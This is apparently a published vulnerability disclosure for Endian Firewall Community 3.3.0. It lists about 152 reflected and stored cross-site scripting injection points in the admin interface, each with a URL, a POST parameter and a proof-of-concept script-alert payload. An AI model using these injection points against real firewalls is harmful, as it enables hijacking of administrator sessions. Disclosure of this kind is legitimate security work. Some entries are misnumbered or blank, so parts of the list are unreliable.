##################################################################################################################################
# Exploit Title: Endian Firewall Community release 3.3.0 | Cross-Site
Scripting
# Date: 24.01.2019
# Exploit Author: Ozer Goker
# Vendor Homepage: https://www.endian.com
# Software Link:
https://sourceforge.net/projects/efw/files/Development/EFW-3.3.0/
# Version: 3.3.0
##################################################################################################################################

Introduction

Endian Firewall Community (EFW) is a turn-key Linux based security software
product designed for home that can transform any unused hardware appliance
into a full-featured Unified Threat Management (UTM) solution. Endian
Community is designed to make security simple and help protect home
networks by using the power of Open Source.


#################################################################################


XSS details: Reflected & Stored

#################################################################################


XSS1 | Reflected

URL
https://192.168.2.200:10443/cgi-bin/netwizard.cgi

METHOD
Post

PARAMETER
DISPLAY_GREEN_ADDRESS

PAYLOAD
<script>alert(1)</script>

#################################################################################


XSS2 | Reflected

URL
https://192.168.2.200:10443/cgi-bin/netwizard.cgi

METHOD
Post

PARAMETER
DISPLAY_GREEN_NETMASK

PAYLOAD
<script>alert(2)</script>

#################################################################################


XSS3 | Reflected

URL
https://192.168.2.200:10443/cgi-bin/netwizard.cgi

METHOD
Post

PARAMETER
DISPLAY_GREEN_ADDITIONAL

PAYLOAD
<script>alert(3)</script>

#################################################################################

XSS4 | Reflected

URL
https://192.168.2.200:10443/cgi-bin/netwizard.cgi

METHOD
Post

PARAMETER
MTU

PAYLOAD
<script>alert(4)</script>

#################################################################################

XSS5 | Reflected

URL
https://192.168.2.200:10443/cgi-bin/netwizard.cgi

METHOD
Post

PARAMETER
MAC

PAYLOAD
<script>alert(5)</script>

#################################################################################

XSS6 | Reflected

URL
https://192.168.2.200:10443/cgi-bin/netwizard.cgi

METHOD
Post

PARAMETER
MAIN_ADMINMAIL

PAYLOAD
<script>alert(6)</script>

#################################################################################

XSS7 | Reflected

URL
https://192.168.2.200:10443/cgi-bin/netwizard.cgi

METHOD
Post

PARAMETER
MAIN_MAILFROM

PAYLOAD
<script>alert(7)</script>

#################################################################################

XSS8 | Reflected

URL
https://192.168.2.200:10443/cgi-bin/netwizard.cgi

METHOD
Post

PARAMETER
MAIN_SMARTHOST

PAYLOAD
<script>alert(8)</script>

#################################################################################

XSS9 | Stored

URL
https://192.168.2.200:10443/manage/notifications/

METHOD
Post

PARAMETER
SMARTHOST_ADDRESS

PAYLOAD
"><script>alert(9)</script>

#################################################################################

XSS10 | Stored

URL
https://192.168.2.200:10443/manage/notifications/

METHOD
Post

PARAMETER
SMARTHOST_USERNAME

PAYLOAD
"><script>alert(10)</script>

#################################################################################

XSS11 | Stored

URL
https://192.168.2.200:10443/manage/password/web/?ACTION=edit&CONTROLLERNAME=&ID=2

METHOD
Post

PARAMETER
remark

PAYLOAD
"><script>alert(11)</script>

#################################################################################

XSS12 | Reflected

URL
https://192.168.2.200:10443/manage/gui/

METHOD
Post

PARAMETER
new_cert_name

PAYLOAD
"><script>alert(12)</script>

#################################################################################

XSS13 | Reflected

URL
https://192.168.2.200:10443/manage/gui/

METHOD
Post

PARAMETER
new_cert_email

PAYLOAD
"><script>alert(13)</script>

#################################################################################

XSS14 | Reflected

URL
https://192.168.2.200:10443/manage/gui/

METHOD
Post

PARAMETER
new_cert_ou

PAYLOAD
"><script>alert(14)</script>

#################################################################################

XSS15 | Reflected

URL
https://192.168.2.200:10443/manage/gui/

METHOD
Post

PARAMETER
new_cert_city

PAYLOAD
"><script>alert(15)</script>

#################################################################################

XSS16 | Reflected

URL
https://192.168.2.200:10443/manage/gui/

METHOD
Post

PARAMETER
new_cert_state

PAYLOAD
"><script>alert(16)</script>

#################################################################################

XSS17 | Reflected

URL
https://192.168.2.200:10443/manage/gui/

METHOD
Post

PARAMETER
new_cert_days

PAYLOAD
"><script>alert(17)</script>

#################################################################################

XSS18 | Reflected

URL
https://192.168.2.200:10443/manage/gui/

METHOD
Post

PARAMETER
upload_cert_req_days

PAYLOAD
"><script>alert(18)</script>

#################################################################################
XSS19 | Reflected

URL
https://192.168.2.200:10443/cgi-bin/backupschedule.cgi

METHOD
Post

PARAMETER
BACKUP_RCPTTO

PAYLOAD
"><script>alert(19)</script>

#################################################################################

XSS20 | Reflected

URL
https://192.168.2.200:10443/cgi-bin/backupschedule.cgi

METHOD
Post

PARAMETER
BACKUP_MAILFROM

PAYLOAD
"><script>alert(20)</script>

#################################################################################

XSS21 | Reflected

URL
https://192.168.2.200:10443/cgi-bin/backupschedule.cgi

METHOD
Post

PARAMETER
BACKUP_SMARTHOST

PAYLOAD
"><script>alert(21)</script>

#################################################################################

XSS22 | Stored

URL
https://192.168.2.200:10443/manage/dnsmasq/hosts/?ACTION=edit&CONTROLLERNAME=hosts&ID=1

METHOD
Post

PARAMETER
remark

PAYLOAD
"><script>alert(22)</script>

#################################################################################

XSS23 | Reflected

URL
https://192.168.2.200:10443/cgi-bin/routing.cgi

METHOD
Post

PARAMETER
source

PAYLOAD
"><script>alert(23)</script>

#################################################################################

XSS24 | Reflected

URL
https://192.168.2.200:10443/cgi-bin/routing.cgi

METHOD
Post

PARAMETER
destination

PAYLOAD
"><script>alert(24)</script>

#################################################################################

XSS25 | Reflected

URL


METHOD


PARAMETER


PAYLOAD
"><script>alert(25)</script>

#################################################################################

XSS26 | Reflected

URL
https://192.168.2.200:10443/cgi-bin/policy_routing.cgi

METHOD
Post

PARAMETER
source

PAYLOAD
"><script>alert(26)</script>

#################################################################################

XSS27 | Reflected

URL
https://192.168.2.200:10443/cgi-bin/policy_routing.cgi

METHOD
Post

PARAMETER
destination

PAYLOAD
"><script>alert(27)</script>

#################################################################################

XSS28 | Reflected

URL
https://192.168.2.200:10443/cgi-bin/policy_routing.cgi

METHOD
Post

PARAMETER
port

PAYLOAD
"><script>alert(28)</script>

#################################################################################

XSS29 | Stored

URL
https://192.168.2.200:10443/cgi-bin/uplinkeditor.cgi

METHOD
Post

PARAMETER
NAME

PAYLOAD
"><script>alert(29)</script>

#################################################################################

XSS30 | Reflected

URL
https://192.168.2.200:10443/cgi-bin/vlanconfig.cgi

METHOD
Post

PARAMETER
DEVICE

PAYLOAD
"><script>alert(30)</script>

#################################################################################

XSS31 | Stored

URL
https://192.168.2.200:10443/manage/dhcp/settings/

METHOD
Post

PARAMETER
DEFAULT_LEASE_TIME_GREEN

PAYLOAD
"><script>alert(31)</script>

#################################################################################

XSS32 | Stored

URL
https://192.168.2.200:10443/manage/dhcp/settings/

METHOD
Post

PARAMETER
MAX_LEASE_TIME_GREEN

PAYLOAD
"><script>alert(32)</script>

#################################################################################

XSS33 | Stored

URL
https://192.168.2.200:10443/manage/dhcp/settings/

METHOD
Post

PARAMETER
DOMAIN_NAME_GREEN

PAYLOAD
"><script>alert(33)</script>

#################################################################################

XSS34 | Stored

URL
https://192.168.2.200:10443/manage/dhcp/settings/

METHOD
Post

PARAMETER
DEFAULT_LEASE_TIME_ORANGE

PAYLOAD
"><script>alert(34)</script>

#################################################################################

XSS35 | Stored

URL
https://192.168.2.200:10443/manage/dhcp/settings/

METHOD
Post

PARAMETER
MAX_LEASE_TIME_ORANGE

PAYLOAD
"><script>alert(35)</script>

#################################################################################

XSS36 | Stored

URL
https://192.168.2.200:10443/manage/dhcp/settings/

METHOD
Post

PARAMETER
DOMAIN_NAME_ORANGE

PAYLOAD
"><script>alert(36)</script>

#################################################################################

XSS37 | Stored

URL
https://192.168.2.200:10443/manage/dhcp/settings/

METHOD
Post

PARAMETER
DEFAULT_LEASE_TIME_BLUE

PAYLOAD
"><script>alert(37)</script>

#################################################################################

XSS38 | Stored

URL
https://192.168.2.200:10443/manage/dhcp/settings/

METHOD
Post

PARAMETER
MAX_LEASE_TIME_BLUE

PAYLOAD
"><script>alert(38)</script>

#################################################################################

XSS39 | Stored

URL
https://192.168.2.200:10443/manage/dhcp/settings/

METHOD
Post

PARAMETER
DOMAIN_NAME_BLUE

PAYLOAD
"><script>alert(39)</script>

#################################################################################

XSS40 | Reflected

URL
https://192.168.2.200:10443/manage/dhcp/fixed_leases/

METHOD
Post

PARAMETER
remark

PAYLOAD
"><script>alert(40)</script>

#################################################################################

XSS41 | Reflected

URL
https://192.168.2.200:10443/manage/dhcp/fixed_leases/

METHOD
Post

PARAMETER
filename

PAYLOAD
"><script>alert(41)</script>

#################################################################################

XSS42 | Reflected

URL
https://192.168.2.200:10443/manage/dhcp/fixed_leases/

METHOD
Post

PARAMETER
root_path

PAYLOAD
"><script>alert(42)</script>

#################################################################################

XSS43 | Reflected

URL
https://192.168.2.200:10443/cgi-bin/time.cgi

METHOD
Post

PARAMETER
NTP_SERVER_LIST

PAYLOAD
"><script>alert(43)</script>

#################################################################################

XSS44 | Stored

URL
https://192.168.2.200:10443/cgi-bin/salearn.cgi

METHOD
Post

PARAMETER
remark

PAYLOAD
"><script>alert(44)</script>

#################################################################################

XSS45 | Stored

URL
https://192.168.2.200:10443/cgi-bin/salearn.cgi

METHOD
Post

PARAMETER
host

PAYLOAD
"><script>alert(45)</script>

#################################################################################

XSS46 | Stored

URL
https://192.168.2.200:10443/cgi-bin/salearn.cgi

METHOD
Post

PARAMETER
user

PAYLOAD
"><script>alert(46)</script>

#################################################################################

XSS3 | Stored

URL
https://192.168.2.200:10443/cgi-bin/salearn.cgi

METHOD
Post

PARAMETER
ham

PAYLOAD
"><script>alert(47)</script>

#################################################################################

XSS48 | Stored

URL
https://192.168.2.200:10443/cgi-bin/salearn.cgi

METHOD
Post

PARAMETER
spam

PAYLOAD
"><script>alert(48)</script>

#################################################################################

XSS49 | Reflected

URL
https://192.168.2.200:10443/manage/qos/devices/

METHOD
Post

PARAMETER
device

PAYLOAD
"><script>alert(49)</script>

#################################################################################

XSS50 | Reflected

URL
https://192.168.2.200:10443/manage/qos/classes/

METHOD
Post

PARAMETER
name

PAYLOAD
"><script>alert(50)</script>

#################################################################################

XSS51 | Reflected

URL
https://192.168.2.200:10443/manage/qos/rules/

METHOD
Post

PARAMETER
protocol

PAYLOAD
"><script>alert(51)</script>

#################################################################################

XSS52 | Reflected

URL
https://192.168.2.200:10443/manage/qos/rules/

METHOD
Post

PARAMETER
dscp

PAYLOAD
"><script>alert(52)</script>

#################################################################################

XSS53 | Reflected

URL
https://192.168.2.200:10443/manage/qos/rules/

METHOD
Post

PARAMETER
comment

PAYLOAD
"><script>alert(53)</script>

#################################################################################

XSS54 | Reflected

URL
https://192.168.2.200:10443/cgi-bin/dnat.cgi

METHOD
Post

PARAMETER
target_ip_ip

PAYLOAD
"><script>alert(54)</script>

#################################################################################

XSS55 | Reflected

URL
https://192.168.2.200:10443/cgi-bin/snat.cgi

METHOD
Post

PARAMETER
source

PAYLOAD
"><script>alert(55)</script>

#################################################################################

XSS56 | Reflected

URL
https://192.168.2.200:10443/cgi-bin/snat.cgi

METHOD
Post

PARAMETER
snat_to_ip

PAYLOAD
"><script>alert(56)</script>

#################################################################################

XSS57 | Stored

URL
https://192.168.2.200:10443/cgi-bin/incoming.cgi

METHOD
Post

PARAMETER
destination

PAYLOAD
"><script>alert(57)</script>

#################################################################################

XSS58 | Reflected

URL
https://192.168.2.200:10443/cgi-bin/incoming.cgi

METHOD
Post

PARAMETER
target

PAYLOAD
"><script>alert(58)</script>

#################################################################################

XSS59 | Stored

URL
https://192.168.2.200:10443/cgi-bin/incoming.cgi

METHOD
Post

PARAMETER
remark

PAYLOAD
"><script>alert(59)</script>

#################################################################################

XSS60 | Reflected

URL
https://192.168.2.200:10443/cgi-bin/outgoingfw.cgi

METHOD
Post

PARAMETER
target

PAYLOAD
"><script>alert(60)</script>

#################################################################################

XSS61 | Stored

URL
https://192.168.2.200:10443/cgi-bin/outgoingfw.cgi

METHOD
Post

PARAMETER
remark

PAYLOAD
"><script>alert(61)</script>

#################################################################################

XSS62 | Reflected

URL
https://192.168.2.200:10443/cgi-bin/zonefw.cgi

METHOD
Post

PARAMETER
target

PAYLOAD
"><script>alert(62)</script>

#################################################################################

XSS63 | Stored

URL
https://192.168.2.200:10443/cgi-bin/zonefw.cgi

METHOD
Post

PARAMETER
remark

PAYLOAD
"><script>alert(63)</script>

#################################################################################

XSS64 | Reflected

URL
https://192.168.2.200:10443/cgi-bin/vpnfw.cgi

METHOD
Post

PARAMETER
source

PAYLOAD
"><script>alert(64)</script>

#################################################################################

XSS65 | Reflected

URL
https://192.168.2.200:10443/cgi-bin/vpnfw.cgi

METHOD
Post

PARAMETER
target

PAYLOAD
"><script>alert(65)</script>

#################################################################################

XSS66 | Stored

URL
https://192.168.2.200:10443/cgi-bin/vpnfw.cgi

METHOD
Post

PARAMETER
remark

PAYLOAD
"><script>alert(66)</script>

#################################################################################

XSS67 | Reflected

URL
https://192.168.2.200:10443/cgi-bin/xtaccess.cgi

METHOD
Post

PARAMETER
target

PAYLOAD
"><script>alert(67)</script>

#################################################################################

XSS68 | Stored

URL
https://192.168.2.200:10443/cgi-bin/xtaccess.cgi

METHOD
Post

PARAMETER
remark

PAYLOAD
"><script>alert(68)</script>

#################################################################################

XSS69 | Reflected

URL
https://192.168.2.200:10443/cgi-bin/proxyconfig.cgi

METHOD
Post

PARAMETER
PROXY_PORT

PAYLOAD
"><script>alert(69)</script>

#################################################################################

XSS70 | Reflected

URL
https://192.168.2.200:10443/cgi-bin/proxyconfig.cgi

METHOD
Post

PARAMETER
VISIBLE_HOSTNAME

PAYLOAD
"><script>alert(70)</script>

#################################################################################

XSS71 | Reflected

URL
https://192.168.2.200:10443/cgi-bin/proxyconfig.cgi

METHOD
Post

PARAMETER
ADMIN_MAIL_ADDRESS

PAYLOAD
"><script>alert(71)</script>

#################################################################################

XSS72 | Reflected

URL
https://192.168.2.200:10443/cgi-bin/proxyconfig.cgi

METHOD
Post

PARAMETER
BYPASS_SOURCE

PAYLOAD
"><script>alert(72)</script>

#################################################################################

XSS73 | Reflected

URL
https://192.168.2.200:10443/cgi-bin/proxyconfig.cgi

METHOD
Post

PARAMETER
BYPASS_DESTINATION

PAYLOAD
"><script>alert(73)</script>

#################################################################################

XSS74 | Reflected

URL
https://192.168.2.200:10443/cgi-bin/proxyconfig.cgi

METHOD
Post

PARAMETER
CACHE_SIZE

PAYLOAD
"><script>alert(74)</script>

#################################################################################

XSS75 | Reflected

URL
https://192.168.2.200:10443/cgi-bin/proxyconfig.cgi

METHOD
Post

PARAMETER
CACHE_MEM

PAYLOAD
"><script>alert(75)</script>

#################################################################################

XSS76 | Reflected

URL
https://192.168.2.200:10443/cgi-bin/proxyconfig.cgi

METHOD
Post

PARAMETER
MAX_SIZE

PAYLOAD
"><script>alert(76)</script>

#################################################################################

XSS77 | Reflected

URL
https://192.168.2.200:10443/cgi-bin/proxyconfig.cgi

METHOD
Post

PARAMETER
DST_NOCACHE

PAYLOAD
"><script>alert(77)</script>

#################################################################################

XSS78 | Stored

URL
https://192.168.2.200:10443/cgi-bin/proxypolicy.cgi

METHOD
Post

PARAMETER
filtertype

PAYLOAD
"><script>alert(78)</script>

#################################################################################

XSS79 | Reflected

URL
https://192.168.2.200:10443/cgi-bin/proxyauth.cgi

METHOD
Post

PARAMETER
AUTH_CHILDREN

PAYLOAD
"><script>alert(79)</script>

#################################################################################

XSS80 | Reflected

URL
https://192.168.2.200:10443/cgi-bin/proxyauth.cgi

METHOD
Post

PARAMETER
AUTH_MAX_USERIP

PAYLOAD
"><script>alert(80)</script>

#################################################################################

XSS81 | Reflected

URL
https://192.168.2.200:10443/cgi-bin/proxyauth.cgi

METHOD
Post

PARAMETER
AUTH_CACHE_TTL

PAYLOAD
"><script>alert(81)</script>

#################################################################################

XSS82 | Reflected

URL
https://192.168.2.200:10443/cgi-bin/proxyauth.cgi

METHOD
Post

PARAMETER
AUTH_IPCACHE_TTL

PAYLOAD
"><script>alert(82)</script>

#################################################################################

XSS83 | Reflected

URL
https://192.168.2.200:10443/cgi-bin/proxyauth.cgi

METHOD
Post

PARAMETER
NCSA_MIN_PASS_LEN

PAYLOAD
"><script>alert(83)</script>

#################################################################################

XSS84 | Reflected

URL
https://192.168.2.200:10443/manage/proxy/adjoin/

METHOD
Post

PARAMETER
ADMIN_USER

PAYLOAD
"><script>alert(84)</script>

#################################################################################

XSS85 | Reflected

URL
https://192.168.2.200:10443/cgi-bin/frox.cgi

METHOD
Post

PARAMETER
TRANSPARENT_SOURCE_BYPASS

PAYLOAD
"><script>alert(85)</script>

#################################################################################

XSS86 | Reflected

URL
https://192.168.2.200:10443/cgi-bin/frox.cgi

METHOD
Post

PARAMETER
TRANSPARENT_DESTINATION_BYPASS

PAYLOAD
"><script>alert(86)</script>

#################################################################################

XSS87 | Reflected

URL
https://192.168.2.200:10443/cgi-bin/smtpconfig.cgi

METHOD
Post

PARAMETER
VIRUS_ADMIN

PAYLOAD
"><script>alert(87)</script>

#################################################################################

XSS88 | Reflected

URL
https://192.168.2.200:10443/cgi-bin/smtpconfig.cgi

METHOD
Post

PARAMETER
NOTIFICATION_SENDER

PAYLOAD
"><script>alert(88)</script>

#################################################################################

XSS89 | Reflected

URL
https://192.168.2.200:10443/cgi-bin/smtpconfig.cgi

METHOD
Post

PARAMETER
BYPASS_SOURCE

PAYLOAD
"><script>alert(89)</script>

#################################################################################

XSS90 | Reflected

URL
https://192.168.2.200:10443/cgi-bin/smtpconfig.cgi

METHOD
Post

PARAMETER
BYPASS_DESTINATION

PAYLOAD
"><script>alert(90)</script>

#################################################################################

XSS91 | Reflected

URL
https://192.168.2.200:10443/cgi-bin/smtplists.cgi

METHOD
Post

PARAMETER
SENDER_WHITELIST

PAYLOAD
"><script>alert(91)</script>

#################################################################################

XSS92 | Reflected

URL
https://192.168.2.200:10443/cgi-bin/smtplists.cgi

METHOD
Post

PARAMETER
RECIPIENT_WHITELIST

PAYLOAD
"><script>alert(92)</script>

#################################################################################

XSS93 | Reflected

URL
https://192.168.2.200:10443/cgi-bin/smtplists.cgi

METHOD
Post

PARAMETER
CLIENT_WHITELIST

PAYLOAD
"><script>alert(93)</script>

#################################################################################

XSS94 | Reflected

URL
https://192.168.2.200:10443/cgi-bin/smtplists.cgi

METHOD
Post

PARAMETER
SENDER_BLACKLIST

PAYLOAD
"><script>alert(94)</script>

#################################################################################

XSS95 | Reflected

URL
https://192.168.2.200:10443/cgi-bin/smtplists.cgi

METHOD
Post

PARAMETER
RECIPIENT_BLACKLIST

PAYLOAD
"><script>alert(95)</script>

#################################################################################

XSS96 | Reflected

URL
https://192.168.2.200:10443/cgi-bin/smtplists.cgi

METHOD
Post

PARAMETER
CLIENT_BLACKLIST

PAYLOAD
"><script>alert(96)</script>

#################################################################################

XSS97 | Reflected

URL
https://192.168.2.200:10443/cgi-bin/smtplists.cgi

METHOD
Post

PARAMETER
WHITELIST_RECIPIENT

PAYLOAD
"><script>alert(97)</script>

#################################################################################

XSS98 | Reflected

URL
https://192.168.2.200:10443/cgi-bin/smtplists.cgi

METHOD
Post

PARAMETER
WHITELIST_CLIENT

PAYLOAD
"><script>alert(98)</script>

#################################################################################

XSS99 | Reflected

URL
https://192.168.2.200:10443/cgi-bin/smtplists.cgi

METHOD
Post

PARAMETER
SPAM_WHITELIST

PAYLOAD
"><script>alert(99)</script>

#################################################################################

XSS100 | Reflected

URL
https://192.168.2.200:10443/cgi-bin/smtplists.cgi

METHOD
Post

PARAMETER
SPAM_BLACKLIST

PAYLOAD
"><script>alert(100)</script>

#################################################################################

XSS101 | Stored

URL
https://192.168.2.200:10443/cgi-bin/smtpdomains.cgi

METHOD
Post

PARAMETER
DOMAIN

PAYLOAD
"><script>alert(101)</script>

#################################################################################

XSS102 | Stored

URL
https://192.168.2.200:10443/cgi-bin/smtpdomains.cgi

METHOD
Post

PARAMETER
SERVER

PAYLOAD
"><script>alert(102)</script>

#################################################################################

XSS103 | Reflected

URL
https://192.168.2.200:10443/manage/smtpscan/domainrouting/

METHOD
Post

PARAMETER
domain

PAYLOAD
"><script>alert(103)</script>

#################################################################################

XSS104 | Reflected

URL
https://192.168.2.200:10443/manage/smtpscan/domainrouting/

METHOD
Post

PARAMETER
smarthost_address

PAYLOAD
"><script>alert(104)</script>

#################################################################################

XSS105 | Reflected

URL
https://192.168.2.200:10443/manage/smtpscan/domainrouting/

METHOD
Post

PARAMETER
smarthost_username

PAYLOAD
"><script>alert(105)</script>

#################################################################################

XSS106 | Stored

URL
https://192.168.2.200:10443/cgi-bin/smtprouting.cgi

METHOD
Post

PARAMETER
ADDRESS

PAYLOAD
"><script>alert(106)</script>

#################################################################################

XSS107 | Reflected

URL
https://192.168.2.200:10443/cgi-bin/smtprouting.cgi

METHOD
Post

PARAMETER
BCC

PAYLOAD
"><script>alert(107)</script>

#################################################################################

XSS108 | Reflected

URL
https://192.168.2.200:10443/manage/smtpscan/advanced/

METHOD
Post

PARAMETER
SMARTHOST_USERNAME

PAYLOAD
"><script>alert(108)</script>

#################################################################################

XSS109 | Reflected

URL
https://192.168.2.200:10443/manage/smtpscan/advanced/

METHOD
Post

PARAMETER
AUTH_DAEMONS

PAYLOAD
"><script>alert(109)</script>

#################################################################################

XSS110 | Stored

URL
https://192.168.2.200:10443/manage/smtpscan/advanced/

METHOD
Post

PARAMETER
IMAP_AUTH_SERVER

PAYLOAD


#################################################################################

XSS111 | Reflected

URL
https://192.168.2.200:10443/manage/smtpscan/advanced/

METHOD
Post

PARAMETER
SMTP_HELO_NAME

PAYLOAD
"><script>alert(111)</script>

#################################################################################

XSS112 | Stored

URL
https://192.168.2.200:10443/manage/smtpscan/advanced/

METHOD
Post

PARAMETER
ALWAYS_BCC_ADDRESS

PAYLOAD
"><script>alert(112)</script>

#################################################################################

XSS113 | Reflected

URL
https://192.168.2.200:10443/manage/smtpscan/advanced/

METHOD
Post

PARAMETER
MAILTEMPLATE_LANGUAGE

PAYLOAD
"><script>alert(113)</script>

#################################################################################

XSS114 | Reflected

URL
https://192.168.2.200:10443/manage/smtpscan/advanced/

METHOD
Post

PARAMETER
SMTPD_HARD_ERROR_LIMIT

PAYLOAD
"><script>alert(114)</script>

#################################################################################

XSS115 | Reflected

URL
https://192.168.2.200:10443/manage/dnsmasq/localdomains/

METHOD
Post

PARAMETER
remark

PAYLOAD
"><script>alert(115)</script>

#################################################################################

XSS116 | Reflected

URL
https://192.168.2.200:10443/manage/openvpn/

METHOD
Post

PARAMETER
reneg_sec

PAYLOAD
"><script>alert(116)</script>

#################################################################################

XSS55 | Reflected

URL
https://192.168.2.200:10443/manage/ipsec/

METHOD
Post

PARAMETER
remark

PAYLOAD
"><script>alert(117)</script>

#################################################################################

XSS118 | Reflected

URL
https://192.168.2.200:10443/manage/ipsec/

METHOD
Post

PARAMETER
secret

PAYLOAD
"><script>alert(118)</script>

#################################################################################

XSS119 | Reflected

URL
https://192.168.2.200:10443/manage/ipsec/

METHOD
Post

PARAMETER
new_cert_name

PAYLOAD
"><script>alert(119)</script>

#################################################################################

XSS120 | Reflected

URL
https://192.168.2.200:10443/manage/ipsec/

METHOD
Post

PARAMETER
new_cert_email

PAYLOAD
"><script>alert(120)</script>

#################################################################################

XSS121 | Reflected

URL
https://192.168.2.200:10443/manage/ipsec/

METHOD
Post

PARAMETER
new_cert_ou

PAYLOAD
"><script>alert(121)</script>

#################################################################################

XSS122 | Reflected

URL
https://192.168.2.200:10443/manage/ipsec/

METHOD
Post

PARAMETER
new_cert_organization

PAYLOAD
"><script>alert(122)</script>

#################################################################################

XSS123 | Reflected

URL
https://192.168.2.200:10443/manage/ipsec/

METHOD
Post

PARAMETER
new_cert_city

PAYLOAD
"><script>alert(123)</script>

#################################################################################

XSS124 | Reflected

URL
https://192.168.2.200:10443/manage/ipsec/

METHOD
Post

PARAMETER
new_cert_state

PAYLOAD
"><script>alert(124)</script>

#################################################################################

XSS125 | Reflected

URL
https://192.168.2.200:10443/manage/ipsec/

METHOD
Post

PARAMETER
new_cert_days

PAYLOAD
"><script>alert(125)</script>

#################################################################################

XSS126 | Reflected

URL
https://192.168.2.200:10443/manage/ipsec/

METHOD
Post

PARAMETER
upload_cert_req_days

PAYLOAD
"><script>alert(126)</script>

#################################################################################

XSS127 | Reflected

URL
https://192.168.2.200:10443/manage/ipsec/

METHOD
Post

PARAMETER
local_peerid

PAYLOAD
"><script>alert(127)</script>

#################################################################################

XSS128 | Reflected

URL
https://192.168.2.200:10443/manage/ipsec/

METHOD
Post

PARAMETER
remote_peerid

PAYLOAD
"><script>alert(128)</script>

#################################################################################

XSS129 | Reflected

URL
https://192.168.2.200:10443/manage/vpnauthentication/user/

METHOD
Post

PARAMETER
name

PAYLOAD
"><script>alert(129)</script>

#################################################################################

XSS130 | Reflected

URL
https://192.168.2.200:10443/manage/vpnauthentication/user/

METHOD
Post

PARAMETER
remark

PAYLOAD
"><script>alert(130)</script>

#################################################################################

XSS131 | Reflected

URL
https://192.168.2.200:10443/manage/vpnauthentication/user/

METHOD
Post

PARAMETER
new_cert_days

PAYLOAD
"><script>alert(131)</script>

#################################################################################

XSS132 | Reflected

URL
https://192.168.2.200:10443/manage/vpnauthentication/user/

METHOD
Post

PARAMETER
upload_cert_req_days

PAYLOAD
"><script>alert(132)</script>

#################################################################################

XSS133 | Reflected

URL
https://192.168.2.200:10443/manage/vpnauthentication/user/

METHOD
Post

PARAMETER
user_department

PAYLOAD
"><script>alert(133)</script>

#################################################################################

XSS134 | Reflected

URL
https://192.168.2.200:10443/manage/vpnauthentication/user/

METHOD
Post

PARAMETER
user_organization

PAYLOAD
"><script>alert(134)</script>

#################################################################################

XSS135 | Reflected

URL
https://192.168.2.200:10443/manage/vpnauthentication/user/

METHOD
Post

PARAMETER
user_city

PAYLOAD
"><script>alert(135)</script>

#################################################################################

XSS136 | Reflected

URL
https://192.168.2.200:10443/manage/vpnauthentication/user/

METHOD
Post

PARAMETER
user_state

PAYLOAD
"><script>alert(136)</script>

#################################################################################

XSS137 | Reflected

URL
https://192.168.2.200:10443/manage/ca/certificate/

METHOD
Post

PARAMETER
new_cert_name

PAYLOAD
"><script>alert(137)</script>

#################################################################################

XSS138 | Reflected

URL
https://192.168.2.200:10443/manage/ca/certificate/

METHOD
Post

PARAMETER
new_cert_ou

PAYLOAD
"><script>alert(138)</script>

#################################################################################

XSS139 | Reflected

URL
https://192.168.2.200:10443/manage/ca/certificate/

METHOD
Post

PARAMETER
new_cert_organization

PAYLOAD
"><script>alert(139)</script>

#################################################################################

XSS140 | Reflected

URL
https://192.168.2.200:10443/manage/ca/certificate/

METHOD
Post

PARAMETER
new_cert_city

PAYLOAD
"><script>alert(140)</script>

#################################################################################

XSS141 | Reflected

URL
https://192.168.2.200:10443/manage/ca/certificate/

METHOD
Post

PARAMETER
new_cert_state

PAYLOAD
"><script>alert(141)</script>

#################################################################################

XSS142 | Reflected

URL
https://192.168.2.200:10443/manage/ca/certificate/

METHOD
Post

PARAMETER
upload_cert_req_days

PAYLOAD
"><script>alert(142)</script>

#################################################################################

XSS143 | Stored

URL
https://192.168.2.200:10443/cgi-bin/logs_log.cgi

METHOD
Post

PARAMETER
DATE

PAYLOAD
"><script>alert(143)</script>

#################################################################################

XSS144 | Reflected

URL
https://192.168.2.200:10443/cgi-bin/logs_log.cgi

METHOD
Post

PARAMETER
OFFSET

PAYLOAD
"><script>alert(144)</script>

#################################################################################

XSS145 | Reflected

URL
https://192.168.2.200:10443/cgi-bin/logs_ids.cgi

METHOD
Post

PARAMETER
DATE

PAYLOAD
"><script>alert(145)</script>

#################################################################################

XSS146 | Reflected

URL
https://192.168.2.200:10443/cgi-bin/logs_openvpn.cgi

METHOD
Post

PARAMETER
DATE

PAYLOAD
"><script>alert(146)</script>

#################################################################################

XSS147 | Reflected

URL
https://192.168.2.200:10443/cgi-bin/logs_clamav.cgi

METHOD
Post

PARAMETER
DATE

PAYLOAD
"><script>alert(147)</script>

#################################################################################

XSS148 | Reflected

URL
https://192.168.2.200:10443/cgi-bin/logs_firewall.cgi

METHOD
Post

PARAMETER
DATE

PAYLOAD
"><script>alert(148)</script>

#################################################################################

XSS149 | Reflected

URL
https://192.168.2.200:10443/cgi-bin/logs_firewall.cgi

METHOD
Post

PARAMETER
OFFSET

PAYLOAD
"><script>alert(148)</script>

#################################################################################

XSS149 | Reflected

URL
https://192.168.2.200:10443/cgi-bin/logs_proxy.cgi

METHOD
Post

PARAMETER
DATE

PAYLOAD
"><script>alert(149)</script>

#################################################################################

XSS150 | Reflected

URL
https://192.168.2.200:10443/cgi-bin/logs_smtp.cgi

METHOD
Post

PARAMETER
DATE

PAYLOAD
"><script>alert(150)</script>

#################################################################################

XSS151 | Stored

URL
https://192.168.2.200:10443/manage/opentsa/

METHOD
Post

PARAMETER
HTTP_USERNAME

PAYLOAD
"><script>alert(151)</script>

#################################################################################

XSS152 | Stored

URL
https://192.168.2.200:10443/manage/opentsa/

METHOD
Post

PARAMETER
HTTP_PASSWORD

PAYLOAD
"><script>alert(152)</script>

#################################################################################